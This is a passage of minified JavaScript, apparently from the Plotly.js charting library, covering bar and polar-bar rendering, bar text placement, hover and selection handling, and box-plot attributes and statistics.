fe=N.xaxis,X=N.yaxis,W=z._fullLayout,V=z._context.staticPlot;q||(q={mode:W.barmode,norm:W.barmode,gap:W.bargap,groupgap:W.bargroupgap},a("bar",W));var Y=o.makeTraceGroups(J,G,"trace bars").each(function(Q){var ie=M.select(this),j=Q[0].trace,K=j.type==="waterfall",oe=j.type==="funnel",re=j.type==="bar",le=re||oe,pe=0;K&&j.connector.visible&&j.connector.mode==="between"&&(pe=j.connector.line.width/2);var we=j.orientation==="h",xe=A(q),ke=o.ensureSingle(ie,"g","points"),_e=T(j),be=ke.selectAll("g.point").data(o.identity,_e);be.enter().append("g").classed("point",!0),be.exit().remove(),be.each(function(Te,Fe){var Oe=M.select(this),Ce=E(Te,fe,X,we),Be=Ce[0][0],$e=Ce[0][1],Xe=Ce[1][0],Ze=Ce[1][1],Ke=(we?$e-Be:Ze-Xe)===0;Ke&&le&&u.getLineWidth(j,Te)&&(Ke=!1),Ke||(Ke=!P(Be)||!P($e)||!P(Xe)||!P(Ze)),Te.isBlank=Ke,Ke&&(we?$e=Be:Ze=Xe),pe&&!Ke&&(we?(Be-=w(Be,$e)*pe,$e+=w(Be,$e)*pe):(Xe-=w(Xe,Ze)*pe,Ze+=w(Xe,Ze)*pe));var st,lt;if(j.type==="waterfall"){if(!Ke){var ut=j[Te.dir].marker;st=ut.line.width,lt=ut.color}}else st=u.getLineWidth(j,Te),lt=Te.mc||j.marker.color;function yt(De){var Ee=M.round(st/2%1,2);return q.gap===0&&q.groupgap===0?M.round(Math.round(De)-Ee,2):De}function bt(De,Ee,ye){return ye&&De===Ee?De:Math.abs(De-Ee)>=2?yt(De):De>Ee?Math.ceil(De):Math.floor(De)}if(!z._context.staticPlot){var Ot=S.opacity(lt),Ge=Ot<1||st>.01?yt:bt;Be=Ge(Be,$e,we),$e=Ge($e,Be,we),Xe=Ge(Xe,Ze,!we),Ze=Ge(Ze,Xe,!we)}var Le=p(o.ensureSingle(Oe,"path"),W,q,ne);if(Le.style("vector-effect",V?"none":"non-scaling-stroke").attr("d",isNaN(($e-Be)*(Ze-Xe))||Ke&&z._context.staticPlot?"M0,0Z":"M"+Be+","+Xe+"V"+Ze+"H"+$e+"V"+Xe+"Z").call(d.setClipUrl,N.layerClipId,z),!W.uniformtext.mode&&xe){var Pe=d.makePointStyleFns(j);d.singlePointStyle(Te,Le,j,Pe,z)}n(z,N,Oe,Q,Fe,Be,$e,Xe,Ze,q,ne),N.layerClipId&&d.hideOutsideRangePoint(Te,Oe.select("text"),fe,X,j.xcalendar,j.ycalendar)});var ge=j.cliponaxis===!1;d.setClipUrl(ie,ge?null:N.layerClipId,z)});g.getComponentMethod("errorbars","plot")(z,Y,N,q)}function n(z,N,G,J,q,ne,fe,X,W,V,Y){var Q=N.xaxis,ie=N.yaxis,j=z._fullLayout,K;function oe(De,Ee,ye){var ae=o.ensureSingle(De,"text").text(Ee).attr({class:"bartext bartext-"+K,"text-anchor":"middle","data-notex":1}).call(d.font,ye).call(L.convertToTspans,z);return ae}var re=J[0].trace,le=re.orientation==="h",pe=B(j,J,q,Q,ie);K=_(re,q);var we=V.mode==="stack"||V.mode==="relative",xe=J[q],ke=!we||xe._outmost;if(!pe||K==="none"||(xe.isBlank||ne===fe||X===W)&&(K==="auto"||K==="inside")){G.select("text").remove();return}var _e=j.font,be=l.getBarColor(J[q],re),ge=l.getInsideTextFont(re,q,_e,be),Te=l.getOutsideTextFont(re,q,_e),Fe=G.datum();le?Q.type==="log"&&Fe.s0<=0&&(Q.range[0]<Q.range[1]?ne=0:ne=Q._length):ie.type==="log"&&Fe.s0<=0&&(ie.range[0]<ie.range[1]?X=ie._length:X=0);var Oe=Math.abs(fe-ne)-2*i,Ce=Math.abs(W-X)-2*i,Be,$e,Xe,Ze,Ke;if(K==="outside"&&!ke&&!xe.hasB&&(K="inside"),K==="auto")if(ke){K="inside",Ke=o.ensureUniformFontSize(z,ge),Be=oe(G,pe,Ke),$e=d.bBox(Be.node()),Xe=$e.width,Ze=$e.height;var st=Xe>0&&Ze>0,lt=Xe<=Oe&&Ze<=Ce,ut=Xe<=Ce&&Ze<=Oe,yt=le?Oe>=Xe*(Ce/Ze):Ce>=Ze*(Oe/Xe);st&&(lt||ut||yt)?K="inside":(K="outside",Be.remove(),Be=null)}else K="inside";if(!Be){Ke=o.ensureUniformFontSize(z,K==="outside"?Te:ge),Be=oe(G,pe,Ke);var bt=Be.attr("transform");if(Be.attr("transform",""),$e=d.bBox(Be.node()),Xe=$e.width,Ze=$e.height,Be.attr("transform",bt),Xe<=0||Ze<=0){Be.remove();return}}var Ot=re.textangle,Ge,Le;K==="outside"?(Le=re.constraintext==="both"||re.constraintext==="outside",Ge=k(ne,fe,X,W,$e,{isHorizontal:le,constrained:Le,angle:Ot})):(Le=re.constraintext==="both"||re.constraintext==="inside",Ge=I(ne,fe,X,W,$e,{isHorizontal:le,constrained:Le,angle:Ot,anchor:re.insidetextanchor})),Ge.fontSize=Ke.size,f(re.type==="histogram"?"bar":re.type,Ge,j),xe.transform=Ge;var Pe=p(Be,j,V,Y);o.setTransormAndDisplay(Pe,Ge)}function C(z){return z==="auto"?0:z}function x(z,N){var G=Math.PI/180*N,J=Math.abs(Math.sin(G)),q=Math.abs(Math.cos(G));return{x:z.width*q+z.height*J,y:z.width*J+z.height*q}}function I(z,N,G,J,q,ne){var fe=!!ne.isHorizontal,X=!!ne.constrained,W=ne.angle||0,V=ne.anchor||"end",Y=V==="end",Q=V==="start",ie=ne.leftToRight||0,j=(ie+1)/2,K=1-j,oe=q.width,re=q.height,le=Math.abs(N-z),pe=Math.abs(J-G),we=le>2*i&&pe>2*i?i:0;le-=2*we,pe-=2*we;var xe=C(W);W==="auto"&&!(oe<=le&&re<=pe)&&(oe>le||re>pe)&&(!(oe>pe||re>le)||oe<re!=le<pe)&&(xe+=90);var ke=x(q,xe),_e=1;X&&(_e=Math.min(1,le/ke.x,pe/ke.y));var be=q.left*K+q.right*j,ge=(q.top+q.bottom)/2,Te=(z+i)*K+(N-i)*j,Fe=(G+J)/2,Oe=0,Ce=0;if(Q||Y){var Be=(fe?ke.x:ke.y)/2,$e=fe?w(z,N):w(G,J);fe?Q?(Te=z+$e*we,Oe=-$e*Be):(Te=N-$e*we,Oe=$e*Be):Q?(Fe=G+$e*we,Ce=-$e*Be):(Fe=J-$e*we,Ce=$e*Be)}return{textX:be,textY:ge,targetX:Te,targetY:Fe,anchorX:Oe,anchorY:Ce,scale:_e,rotate:xe}}function k(z,N,G,J,q,ne){var fe=!!ne.isHorizontal,X=!!ne.constrained,W=ne.angle||0,V=q.width,Y=q.height,Q=Math.abs(N-z),ie=Math.abs(J-G),j;fe?j=ie>2*i?i:0:j=Q>2*i?i:0;var K=1;X&&(K=fe?Math.min(1,ie/Y):Math.min(1,Q/V));var oe=C(W),re=x(q,oe),le=(fe?re.x:re.y)/2,pe=(q.left+q.right)/2,we=(q.top+q.bottom)/2,xe=(z+N)/2,ke=(G+J)/2,_e=0,be=0,ge=fe?w(N,z):w(G,J);return fe?(xe=N-ge*j,_e=ge*le):(ke=J+ge*j,be=-ge*le),{textX:pe,textY:we,targetX:xe,targetY:ke,anchorX:_e,anchorY:be,scale:K,rotate:oe}}function B(z,N,G,J,q){var ne=N[0].trace,fe=ne.texttemplate,X;return fe?X=F(z,N,G,J,q):ne.textinfo?X=O(N,G,J,q):X=u.getValue(ne.text,G),u.coerceString(c,X)}function _(z,N){var G=u.getValue(z.textposition,N);return u.coerceEnumerated(b,G)}function F(z,N,G,J,q){var ne=N[0].trace,fe=o.castOption(ne,G,"texttemplate");if(!fe)return"";var X=ne.type==="histogram",W=ne.type==="waterfall",V=ne.type==="funnel",Y=ne.orientation==="h",Q,ie,j,K;Y?(Q="y",ie=q,j="x",K=J):(Q="x",ie=J,j="y",K=q);function oe(_e){return t(ie,ie.c2l(_e),!0).text}function re(_e){return t(K,K.c2l(_e),!0).text}var le=N[G],pe={};pe.label=le.p,pe.labelLabel=pe[Q+"Label"]=oe(le.p);var we=o.castOption(ne,le.i,"text");(we===0||we)&&(pe.text=we),pe.value=le.s,pe.valueLabel=pe[j+"Label"]=re(le.s);var xe={};h(xe,ne,le.i),(X||xe.x===void 0)&&(xe.x=Y?pe.value:pe.label),(X||xe.y===void 0)&&(xe.y=Y?pe.label:pe.value),(X||xe.xLabel===void 0)&&(xe.xLabel=Y?pe.valueLabel:pe.labelLabel),(X||xe.yLabel===void 0)&&(xe.yLabel=Y?pe.labelLabel:pe.valueLabel),W&&(pe.delta=+le.rawS||le.s,pe.deltaLabel=re(pe.delta),pe.final=le.v,pe.finalLabel=re(pe.final),pe.initial=pe.final-pe.delta,pe.initialLabel=re(pe.initial)),V&&(pe.value=le.s,pe.valueLabel=re(pe.value),pe.percentInitial=le.begR,pe.percentInitialLabel=o.formatPercent(le.begR),pe.percentPrevious=le.difR,pe.percentPreviousLabel=o.formatPercent(le.difR),pe.percentTotal=le.sumR,pe.percenTotalLabel=o.formatPercent(le.sumR));var ke=o.castOption(ne,le.i,"customdata");return ke&&(pe.customdata=ke),o.texttemplateString(fe,pe,z._d3locale,xe,pe,ne._meta||{})}function O(z,N,G,J){var q=z[0].trace,ne=q.orientation==="h",fe=q.type==="waterfall",X=q.type==="funnel";function W(ke){var _e=ne?J:G;return t(_e,ke,!0).text}function V(ke){var _e=ne?G:J;return t(_e,+ke,!0).text}var Y=q.textinfo,Q=z[N],ie=Y.split("+"),j=[],K,oe=function(ke){return ie.indexOf(ke)!==-1};if(oe("label")&&j.push(W(z[N].p)),oe("text")&&(K=o.castOption(q,Q.i,"text"),(K===0||K)&&j.push(K)),fe){var re=+Q.rawS||Q.s,le=Q.v,pe=le-re;oe("initial")&&j.push(V(pe)),oe("delta")&&j.push(V(re)),oe("final")&&j.push(V(le))}if(X){oe("value")&&j.push(V(Q.s));var we=0;oe("percent initial")&&we++,oe("percent previous")&&we++,oe("percent total")&&we++;var xe=we>1;oe("percent initial")&&(K=o.formatPercent(Q.begR),xe&&(K+=" of initial"),j.push(K)),oe("percent previous")&&(K=o.formatPercent(Q.difR),xe&&(K+=" of previous"),j.push(K)),oe("percent total")&&(K=o.formatPercent(Q.sumR),xe&&(K+=" of total"),j.push(K))}return j.join("<br>")}te.exports={plot:m,toMoveInsideBar:I}},81974:function(te){te.exports=function(M,P){var o=M.cd,L=M.xaxis,S=M.yaxis,d=o[0].trace,g=d.type==="funnel",t=d.orientation==="h",r=[],f;if(P===!1)for(f=0;f<o.length;f++)o[f].selected=0;else for(f=0;f<o.length;f++){var a=o[f],l="ct"in a?a.ct:Z(a,L,S,t,g);P.contains(l,!1,f,M)?(r.push({pointNumber:f,x:L.c2d(a.x),y:S.c2d(a.y)}),a.selected=1):a.selected=0}return r};function Z(e,M,P,o,L){var S=M.c2p(o?e.s0:e.p0,!0),d=M.c2p(o?e.s1:e.p1,!0),g=P.c2p(o?e.p0:e.s0,!0),t=P.c2p(o?e.p1:e.s1,!0);return L?[(S+d)/2,(g+t)/2]:o?[d,(g+t)/2]:[(S+d)/2,t]}},61546:function(te,Z,e){te.exports=P;var M=e(71828).distinctVals;function P(o,L){this.traces=o,this.sepNegVal=L.sepNegVal,this.overlapNoMerge=L.overlapNoMerge;for(var S=1/0,d=L.posAxis._id.charAt(0),g=[],t=0;t<o.length;t++){for(var r=o[t],f=0;f<r.length;f++){var a=r[f],l=a.p;l===void 0&&(l=a[d]),l!==void 0&&g.push(l)}r[0]&&r[0].width1&&(S=Math.min(r[0].width1,S))}this.positions=g;var u=M(g);this.distinctPositions=u.vals,u.vals.length===1&&S!==1/0?this.minDiff=S:this.minDiff=Math.min(u.minDiff,S);var s=(L.posAxis||{}).type;(s==="category"||s==="multicategory")&&(this.minDiff=1),this.binWidth=this.minDiff,this.bins={}}P.prototype.put=function(L,S){var d=this.getLabel(L,S),g=this.bins[d]||0;return this.bins[d]=g+S,g},P.prototype.get=function(L,S){var d=this.getLabel(L,S);return this.bins[d]||0},P.prototype.getLabel=function(L,S){var d=S<0&&this.sepNegVal?"v":"^",g=this.overlapNoMerge?L:Math.round(L/this.binWidth);return d+g}},16688:function(te,Z,e){var M=e(39898),P=e(7901),o=e(91424),L=e(71828),S=e(73972),d=e(72597).resizeText,g=e(1486),t=g.textfont,r=g.insidetextfont,f=g.outsidetextfont,a=e(69383);function l(p){var A=M.select(p).selectAll("g.barlayer").selectAll("g.trace");d(p,A,"bar");var m=A.size(),n=p._fullLayout;A.style("opacity",function(C){return C[0].trace.opacity}).each(function(C){(n.barmode==="stack"&&m>1||n.bargap===0&&n.bargroupgap===0&&!C[0].trace.marker.line.width)&&M.select(this).attr("shape-rendering","crispEdges")}),A.selectAll("g.points").each(function(C){var x=M.select(this),I=C[0].trace;u(x,I,p)}),S.getComponentMethod("errorbars","style")(A)}function u(p,A,m){o.pointStyle(p.selectAll("path"),A,m),s(p,A,m)}function s(p,A,m){p.selectAll("text").each(function(n){var C=M.select(this),x=L.ensureUniformFontSize(m,h(C,n,A,m));o.font(C,x)})}function y(p,A,m){var n=A[0].trace;n.selectedpoints?c(m,n,p):(u(m,n,p),S.getComponentMethod("errorbars","style")(m))}function c(p,A,m){o.selectedPointStyle(p.selectAll("path"),A),b(p.selectAll("text"),A,m)}function b(p,A,m){p.each(function(n){var C=M.select(this),x;if(n.selected){x=L.ensureUniformFontSize(m,h(C,n,A,m));var I=A.selected.textfont&&A.selected.textfont.color;I&&(x.color=I),o.font(C,x)}else o.selectedTextStyle(C,A)})}function h(p,A,m,n){var C=n._fullLayout.font,x=m.textfont;if(p.classed("bartext-inside")){var I=E(A,m);x=v(m,A.i,C,I)}else p.classed("bartext-outside")&&(x=T(m,A.i,C));return x}function i(p,A,m){return w(t,p.textfont,A,m)}function v(p,A,m,n){var C=i(p,A,m),x=p._input.textfont===void 0||p._input.textfont.color===void 0||Array.isArray(p.textfont.color)&&p.textfont.color[A]===void 0;return x&&(C={color:P.contrast(n),family:C.family,size:C.size}),w(r,p.insidetextfont,A,C)}function T(p,A,m){var n=i(p,A,m);return w(f,p.outsidetextfont,A,n)}function w(p,A,m,n){A=A||{};var C=a.getValue(A.family,m),x=a.getValue(A.size,m),I=a.getValue(A.color,m);return{family:a.coerceString(p.family,C,n.family),size:a.coerceNumber(p.size,x,n.size),color:a.coerceColor(p.color,I,n.color)}}function E(p,A){return A.type==="waterfall"?A[p.dir].marker.color:p.mcc||p.mc||A.marker.color}te.exports={style:l,styleTextPoints:s,styleOnSelect:y,getInsideTextFont:v,getOutsideTextFont:T,getBarColor:E,resizeText:d}},98340:function(te,Z,e){var M=e(7901),P=e(52075).hasColorscale,o=e(1586),L=e(71828).coercePattern;te.exports=function(d,g,t,r,f){var a=t("marker.color",r),l=P(d,"marker");l&&o(d,g,f,t,{prefix:"marker.",cLetter:"c"}),t("marker.line.color",M.defaultLine),P(d,"marker.line")&&o(d,g,f,t,{prefix:"marker.line.",cLetter:"c"}),t("marker.line.width"),t("marker.opacity"),L(t,"marker.pattern",a,l),t("selected.marker.color"),t("unselected.marker.color")}},72597:function(te,Z,e){var M=e(39898),P=e(71828);function o(g,t,r){var f=g._fullLayout,a=f["_"+r+"Text_minsize"];if(a){var l=f.uniformtext.mode==="hide",u;switch(r){case"funnelarea":case"pie":case"sunburst":u="g.slice";break;case"treemap":case"icicle":u="g.slice, g.pathbar";break;default:u="g.points > g.point"}t.selectAll(u).each(function(s){var y=s.transform;if(y){y.scale=l&&y.hide?0:a/y.fontSize;var c=M.select(this).select("text");P.setTransormAndDisplay(c,y)}})}}function L(g,t,r){if(r.uniformtext.mode){var f=d(g),a=r.uniformtext.minsize,l=t.scale*t.fontSize;t.hide=l<a,r[f]=r[f]||1/0,t.hide||(r[f]=Math.min(r[f],Math.max(l,a)))}}function S(g,t){var r=d(g);t[r]=void 0}function d(g){return"_"+g+"Text_minsize"}te.exports={recordMinTextSize:L,clearMinTextSize:S,resizeText:o}},55023:function(te,Z,e){var M=e(5386).fF,P=e(1426).extendFlat,o=e(81245),L=e(1486);te.exports={r:o.r,theta:o.theta,r0:o.r0,dr:o.dr,theta0:o.theta0,dtheta:o.dtheta,thetaunit:o.thetaunit,base:P({},L.base,{}),offset:P({},L.offset,{}),width:P({},L.width,{}),text:P({},L.text,{}),hovertext:P({},L.hovertext,{}),marker:L.marker,hoverinfo:o.hoverinfo,hovertemplate:M(),selected:L.selected,unselected:L.unselected}},74692:function(te,Z,e){var M=e(52075).hasColorscale,P=e(78803),o=e(75341),L=e(11661).setGroupPositions,S=e(66279),d=e(73972).traceIs,g=e(71828).extendFlat;function t(f,a){for(var l=f._fullLayout,u=a.subplot,s=l[u].radialaxis,y=l[u].angularaxis,c=s.makeCalcdata(a,"r"),b=y.makeCalcdata(a,"theta"),h=a._length,i=new Array(h),v=c,T=b,w=0;w<h;w++)i[w]={p:T[w],s:v[w]};function E(p){var A=a[p];A!==void 0&&(a["_"+p]=Array.isArray(A)?y.makeCalcdata(a,p):y.d2c(A,a.thetaunit))}return y.type==="linear"&&(E("width"),E("offset")),M(a,"marker")&&P(f,a,{vals:a.marker.color,containerStr:"marker",cLetter:"c"}),M(a,"marker.line")&&P(f,a,{vals:a.marker.line.color,containerStr:"marker.line",cLetter:"c"}),o(i,a),S(i,a),i}function r(f,a,l){for(var u=f.calcdata,s=[],y=0;y<u.length;y++){var c=u[y],b=c[0].trace;b.visible===!0&&d(b,"bar")&&b.subplot===l&&s.push(c)}var h=g({},a.radialaxis,{_id:"x"}),i=a.angularaxis;L(f,i,h,s,{mode:a.barmode,norm:a.barnorm,gap:a.bargap,groupgap:a.bargroupgap})}te.exports={calc:t,crossTraceCalc:r}},6135:function(te,Z,e){var M=e(71828),P=e(22184).handleRThetaDefaults,o=e(98340),L=e(55023);te.exports=function(d,g,t,r){function f(l,u){return M.coerce(d,g,L,l,u)}var a=P(d,g,r,f);if(!a){g.visible=!1;return}f("thetaunit"),f("base"),f("offset"),f("width"),f("text"),f("hovertext"),f("hovertemplate"),o(d,g,f,t,r),M.coerceSelectionMarkerOpacity(g,f)}},27379:function(te,Z,e){var M=e(30211),P=e(71828),o=e(95423).getTraceColor,L=P.fillText,S=e(59150).makeHoverPointText,d=e(10869).isPtInsidePolygon;te.exports=function(t,r,f){var a=t.cd,l=a[0].trace,u=t.subplot,s=u.radialAxis,y=u.angularAxis,c=u.vangles,b=c?d:P.isPtInsideSector,h=t.maxHoverDistance,i=y._period||2*Math.PI,v=Math.abs(s.g2p(Math.sqrt(r*r+f*f))),T=Math.atan2(f,r);s.range[0]>s.range[1]&&(T+=Math.PI);var w=function(m){return b(v,T,[m.rp0,m.rp1],[m.thetag0,m.thetag1],c)?h+Math.min(1,Math.abs(m.thetag1-m.thetag0)/i)-1+(m.rp1-v)/(m.rp1-m.rp0)-1:1/0};if(M.getClosest(a,w,t),t.index!==!1){var E=t.index,p=a[E];t.x0=t.x1=p.ct[0],t.y0=t.y1=p.ct[1];var A=P.extendFlat({},p,{r:p.s,theta:p.p});return L(p,l,t),S(A,l,u,t),t.hovertemplate=l.hovertemplate,t.color=o(l,p),t.xLabelVal=t.yLabelVal=void 0,p.s<0&&(t.idealAlign="left"),[t]}}},23381:function(te,Z,e){te.exports={moduleType:"trace",name:"barpolar",basePlotModule:e(23580),categories:["polar","bar","showLegend"],attributes:e(55023),layoutAttributes:e(40151),supplyDefaults:e(6135),supplyLayoutDefaults:e(19860),calc:e(74692).calc,crossTraceCalc:e(74692).crossTraceCalc,plot:e(60173),colorbar:e(4898),formatLabels:e(98608),style:e(16688).style,styleOnSelect:e(16688).styleOnSelect,hoverPoints:e(27379),selectPoints:e(81974),meta:{}}},40151:function(te){te.exports={barmode:{valType:"enumerated",values:["stack","overlay"],dflt:"stack",editType:"calc"},bargap:{valType:"number",dflt:.1,min:0,max:1,editType:"calc"}}},19860:function(te,Z,e){var M=e(71828),P=e(40151);te.exports=function(o,L,S){var d={},g;function t(a,l){return M.coerce(o[g]||{},L[g],P,a,l)}for(var r=0;r<S.length;r++){var f=S[r];f.type==="barpolar"&&f.visible===!0&&(g=f.subplot,d[g]||(t("barmode"),t("bargap"),d[g]=1))}}},60173:function(te,Z,e){var M=e(39898),P=e(92770),o=e(71828),L=e(91424),S=e(10869);te.exports=function(t,r,f){var a=t._context.staticPlot,l=r.xaxis,u=r.yaxis,s=r.radialAxis,y=r.angularAxis,c=d(r),b=r.layers.frontplot.select("g.barlayer");o.makeTraceGroups(b,f,"trace bars").each(function(){var h=M.select(this),i=o.ensureSingle(h,"g","points"),v=i.selectAll("g.point").data(o.identity);v.enter().append("g").style("vector-effect",a?"none":"non-scaling-stroke").style("stroke-miterlimit",2).classed("point",!0),v.exit().remove(),v.each(function(T){var w=M.select(this),E=T.rp0=s.c2p(T.s0),p=T.rp1=s.c2p(T.s1),A=T.thetag0=y.c2g(T.p0),m=T.thetag1=y.c2g(T.p1),n;if(!P(E)||!P(p)||!P(A)||!P(m)||E===p||A===m)n="M0,0Z";else{var C=s.c2g(T.s1),x=(A+m)/2;T.ct=[l.c2p(C*Math.cos(x)),u.c2p(C*Math.sin(x))],n=c(E,p,A,m)}o.ensureSingle(w,"path").attr("d",n)}),L.setClipUrl(h,r._hasClipOnAxisFalse?r.clipIds.forTraces:null,t)})};function d(g){var t=g.cxx,r=g.cyy;return g.vangles?function(f,a,l,u){var s,y;o.angleDelta(l,u)>0?(s=l,y=u):(s=u,y=l);var c=S.findEnclosingVertexAngles(s,g.vangles)[0],b=S.findEnclosingVertexAngles(y,g.vangles)[1],h=[c,(s+y)/2,b];return S.pathPolygonAnnulus(f,a,s,y,h,t,r)}:function(f,a,l,u){return o.pathAnnulus(f,a,l,u,t,r)}}},53522:function(te,Z,e){var M=e(82196),P=e(1486),o=e(22399),L=e(12663).axisHoverFormat,S=e(5386).fF,d=e(1426).extendFlat,g=M.marker,t=g.line;te.exports={y:{valType:"data_array",editType:"calc+clearAxisTypes"},x:{valType:"data_array",editType:"calc+clearAxisTypes"},x0:{valType:"any",editType:"calc+clearAxisTypes"},y0:{valType:"any",editType:"calc+clearAxisTypes"},dx:{valType:"number",editType:"calc"},dy:{valType:"number",editType:"calc"},xperiod:M.xperiod,yperiod:M.yperiod,xperiod0:M.xperiod0,yperiod0:M.yperiod0,xperiodalignment:M.xperiodalignment,yperiodalignment:M.yperiodalignment,xhoverformat:L("x"),yhoverformat:L("y"),name:{valType:"string",editType:"calc+clearAxisTypes"},q1:{valType:"data_array",editType:"calc+clearAxisTypes"},median:{valType:"data_array",editType:"calc+clearAxisTypes"},q3:{valType:"data_array",editType:"calc+clearAxisTypes"},lowerfence:{valType:"data_array",editType:"calc"},upperfence:{valType:"data_array",editType:"calc"},notched:{valType:"boolean",editType:"calc"},notchwidth:{valType:"number",min:0,max:.5,dflt:.25,editType:"calc"},notchspan:{valType:"data_array",editType:"calc"},boxpoints:{valType:"enumerated",values:["all","outliers","suspectedoutliers",!1],editType:"calc"},jitter:{valType:"number",min:0,max:1,editType:"calc"},pointpos:{valType:"number",min:-2,max:2,editType:"calc"},boxmean:{valType:"enumerated",values:[!0,"sd",!1],editType:"calc"},mean:{valType:"data_array",editType:"calc"},sd:{valType:"data_array",editType:"calc"},orientation:{valType:"enumerated",values:["v","h"],editType:"calc+clearAxisTypes"},quartilemethod:{valType:"enumerated",values:["linear","exclusive","inclusive"],dflt:"linear",editType:"calc"},width:{valType:"number",min:0,dflt:0,editType:"calc"},marker:{outliercolor:{valType:"color",dflt:"rgba(0, 0, 0, 0)",editType:"style"},symbol:d({},g.symbol,{arrayOk:!1,editType:"plot"}),opacity:d({},g.opacity,{arrayOk:!1,dflt:1,editType:"style"}),angle:d({},g.angle,{arrayOk:!1,editType:"calc"}),size:d({},g.size,{arrayOk:!1,editType:"calc"}),color:d({},g.color,{arrayOk:!1,editType:"style"}),line:{color:d({},t.color,{arrayOk:!1,dflt:o.defaultLine,editType:"style"}),width:d({},t.width,{arrayOk:!1,dflt:0,editType:"style"}),outliercolor:{valType:"color",editType:"style"},outlierwidth:{valType:"number",min:0,dflt:1,editType:"style"},editType:"style"},editType:"plot"},line:{color:{valType:"color",editType:"style"},width:{valType:"number",min:0,dflt:2,editType:"style"},editType:"plot"},fillcolor:M.fillcolor,whiskerwidth:{valType:"number",min:0,max:1,dflt:.5,editType:"calc"},offsetgroup:P.offsetgroup,alignmentgroup:P.alignmentgroup,selected:{marker:M.selected.marker,editType:"style"},unselected:{marker:M.unselected.marker,editType:"style"},text:d({},M.text,{}),hovertext:d({},M.hovertext,{}),hovertemplate:S({}),hoveron:{valType:"flaglist",flags:["boxes","points"],dflt:"boxes+points",editType:"style"}}},48518:function(te,Z,e){var M=e(92770),P=e(89298),o=e(42973),L=e(71828),S=e(50606).BADNUM,d=L._;te.exports=function(T,w){var E=T._fullLayout,p=P.getFromId(T,w.xaxis||"x"),A=P.getFromId(T,w.yaxis||"y"),m=[],n=w.type==="violin"?"_numViolins":"_numBoxes",C,x,I,k,B,_,F;w.orientation==="h"?(I=p,k="x",B=A,_="y",F=!!w.yperiodalignment):(I=A,k="y",B=p,_="x",F=!!w.xperiodalignment);var O=g(w,_,B,E[n]),z=O[0],N=O[1],G=L.distinctVals(z,B),J=G.vals,q=G.minDiff/2,ne,fe,X,W,V,Y,Q=(w.boxpoints||w.points)==="all"?L.identity:function(bt){return bt.v<ne.lf||bt.v>ne.uf};if(w._hasPreCompStats){var ie=w[k],j=function(bt){return I.d2c((w[bt]||[])[C])},K=1/0,oe=-1/0;for(C=0;C<w._length;C++){var re=z[C];if(M(re)){if(ne={},ne.pos=ne[_]=re,F&&N&&(ne.orig_p=N[C]),ne.q1=j("q1"),ne.med=j("median"),ne.q3=j("q3"),fe=[],ie&&L.isArrayOrTypedArray(ie[C]))for(x=0;x<ie[C].length;x++)Y=I.d2c(ie[C][x]),Y!==S&&(V={v:Y,i:[C,x]},a(V,w,[C,x]),fe.push(V));if(ne.pts=fe.sort(u),X=ne[k]=fe.map(s),W=X.length,ne.med!==S&&ne.q1!==S&&ne.q3!==S&&ne.med>=ne.q1&&ne.q3>=ne.med){var le=j("lowerfence");ne.lf=le!==S&&le<=ne.q1?le:y(ne,X,W);var pe=j("upperfence");ne.uf=pe!==S&&pe>=ne.q3?pe:c(ne,X,W);var we=j("mean");ne.mean=we!==S?we:W?L.mean(X,W):(ne.q1+ne.q3)/2;var xe=j("sd");ne.sd=we!==S&&xe>=0?xe:W?L.stdev(X,W,ne.mean):ne.q3-ne.q1,ne.lo=b(ne),ne.uo=h(ne);var ke=j("notchspan");ke=ke!==S&&ke>0?ke:i(ne,W),ne.ln=ne.med-ke,ne.un=ne.med+ke;var _e=ne.lf,be=ne.uf;w.boxpoints&&X.length&&(_e=Math.min(_e,X[0]),be=Math.max(be,X[W-1])),w.notched&&(_e=Math.min(_e,ne.ln),be=Math.max(be,ne.un)),ne.min=_e,ne.max=be}else{L.warn(["Invalid input - make sure that q1 <= median <= q3","q1 = "+ne.q1,"median = "+ne.med,"q3 = "+ne.q3].join(`
`));var ge;ne.med!==S?ge=ne.med:ne.q1!==S?ne.q3!==S?ge=(ne.q1+ne.q3)/2:ge=ne.q1:ne.q3!==S?ge=ne.q3:ge=0,ne.med=ge,ne.q1=ne.q3=ge,ne.lf=ne.uf=ge,ne.mean=ne.sd=ge,ne.ln=ne.un=ge,ne.min=ne.max=ge}K=Math.min(K,ne.min),oe=Math.max(oe,ne.max),ne.pts2=fe.filter(Q),m.push(ne)}}w._extremes[I._id]=P.findExtremes(I,[K,oe],{padded:!0})}else{var Te=I.makeCalcdata(w,k),Fe=t(J,q),Oe=J.length,Ce=r(Oe);for(C=0;C<w._length;C++)if(Y=Te[C],!!M(Y)){var Be=L.findBin(z[C],Fe);Be>=0&&Be<Oe&&(V={v:Y,i:C},a(V,w,C),Ce[Be].push(V))}var $e=1/0,Xe=-1/0,Ze=w.quartilemethod,Ke=Ze==="exclusive",st=Ze==="inclusive";for(C=0;C<Oe;C++)if(Ce[C].length>0){if(ne={},ne.pos=ne[_]=J[C],fe=ne.pts=Ce[C].sort(u),X=ne[k]=fe.map(s),W=X.length,ne.min=X[0],ne.max=X[W-1],ne.mean=L.mean(X,W),ne.sd=L.stdev(X,W,ne.mean),ne.med=L.interp(X,.5),W%2&&(Ke||st)){var lt,ut;Ke?(lt=X.slice(0,W/2),ut=X.slice(W/2+1)):st&&(lt=X.slice(0,W/2+1),ut=X.slice(W/2)),ne.q1=L.interp(lt,.5),ne.q3=L.interp(ut,.5)}else ne.q1=L.interp(X,.25),ne.q3=L.interp(X,.75);ne.lf=y(ne,X,W),ne.uf=c(ne,X,W),ne.lo=b(ne),ne.uo=h(ne);var yt=i(ne,W);ne.ln=ne.med-yt,ne.un=ne.med+yt,$e=Math.min($e,ne.ln),Xe=Math.max(Xe,ne.un),ne.pts2=fe.filter(Q),m.push(ne)}w._extremes[I._id]=P.findExtremes(I,w.notched?Te.concat([$e,Xe]):Te,{padded:!0})}return l(m,w),m.length>0?(m[0].t={num:E[n],dPos:q,posLetter:_,valLetter:k,labels:{med:d(T,"median:"),min:d(T,"min:"),q1:d(T,"q1:"),q3:d(T,"q3:"),max:d(T,"max:"),mean:w.boxmean==="sd"?d(T,"mean ± σ:"):d(T,"mean:"),lf:d(T,"lower fence:"),uf:d(T,"upper fence:")}},E[n]++,m):[{t:{empty:!0}}]};function g(v,T,w,E){var p=T in v,A=T+"0"in v,m="d"+T in v;if(p||A&&m){var n=w.makeCalcdata(v,T),C=o(v,w,T,n).vals;return[C,n]}var x;A?x=v[T+"0"]:"name"in v&&(w.type==="category"||M(v.name)&&["linear","log"].indexOf(w.type)!==-1||L.isDateTime(v.name)&&w.type==="date")?x=v.name:x=E;for(var 